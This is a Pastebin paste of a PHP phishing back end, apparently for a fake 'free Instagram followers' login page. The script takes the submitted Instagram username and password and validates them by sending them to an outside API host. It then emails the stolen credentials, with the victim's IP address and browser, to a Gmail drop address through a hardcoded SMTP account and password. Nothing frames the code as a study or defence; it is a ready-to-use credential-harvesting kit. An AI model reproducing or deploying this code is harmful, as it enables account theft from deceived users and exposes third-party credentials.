Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- include('phpmailer/class.phpmailer.php');
- $user = $_POST['username'];
- $paswot = $_POST['password'];
- $api = file_get_contents("http://cornelius.is.my/api/instagram.php?user=$user&pass=$paswot"); // API True Login Instagram
- if ($api == '1'){ // Tampilan yang akan di ambil
- $email_sia = 'rekap.instagram@gmail.com'; // email lo
- $user = $_POST['username'];
- $paswot = $_POST['password'];
- $ip = $_SERVER['REMOTE_ADDR'];
- $today = date("F j, Y, g:i a");
- $browser = $_SERVER['HTTP_USER_AGENT'];
- $randomers = rand(0,100);
- $subjek = '('.$randomers.')Result Akun Instagram @'.$user.' '.$paswot.' ( IP = '.$ip.' )';
- $body = <<<EOD
- <div style='font-family: Tahoma;line-height: 25px;color: #333;font-size: 14px;border: 1px solid #06F; padding: 20px; border-radius: 5px; margin-top: 20px;'>
- .++--------[ <font color='blue'>Akun Instagram Information</font> ]-------++.<br>
- Username => <font color='#3366FF'><b>$user</b></font><br>
- Password => <font color='#3366FF'><b>$paswot</b></font> <br>
- .++--------[ <font color='red'>End Information</font> ]-------++.<br>
- .++--------[ <font color='blue'>PC Info</font> ]-------++.<br>
- FROM => <font color='#3366FF'>.$ip. on .$today.</font><br>
- Browser => <font color='#3366FF'>.$browser.</font> <br>
- .++--------[ <font color='red'>End</font> ]-------++.<br>
- </div>
- EOD;
- //* jangan di ubah kalo kagak mau error!,gak usah sok tau deh //*
- $mail = new PHPMailer();
- //$mail->IsSMTP(); // telling the class to use SMTP
- //$mail->Host = "localhost"; // SMTP server
- //IsSMTP(); // send via SMTP
- $mail->Host = "ssl://smtp.gmail.com"; // SMTP server Gmail
- $mail->Mailer = "smtp";
- $mail->SMTPAuth = true; // turn on SMTP authentication
- $mail->Username = "a.sofyan027@gmail.com"; //
- $mail->Password = "Lolipop0"; // SMTP password
- $webmaster_email = "Free@Freeinstagramfollowers.id"; //Reply to this email ID
- $email = "rekap.instagram@gmail.com"; // Recipients email ID
- $name = "paket datang"; // Recipient's name
- $mail->From = $webmaster_email;
- $mail->FromName = "namapengirim";
- $mail->AddAddress($email,$name);
- $mail->AddReplyTo($webmaster_email,"namawebmaster");
- $mail->IsHTML(true); // send as HTML
- $mail->Subject = $subjek;
- $mail->Body = $body; //HTML Body
- $mail->AltBody = "This is the body when user views in plain text format"; //Text Body
- $_SESSION['username'] = $_POST['username'];
- $_SESSION['password'] = $_POST['password'];
- if(!$mail->Send())
- {
- header('location:login.php?error=2');
- }
- else
- {
- header("Location:home.php");
- }
- ?>
Add Comment
Please, Sign In to add comment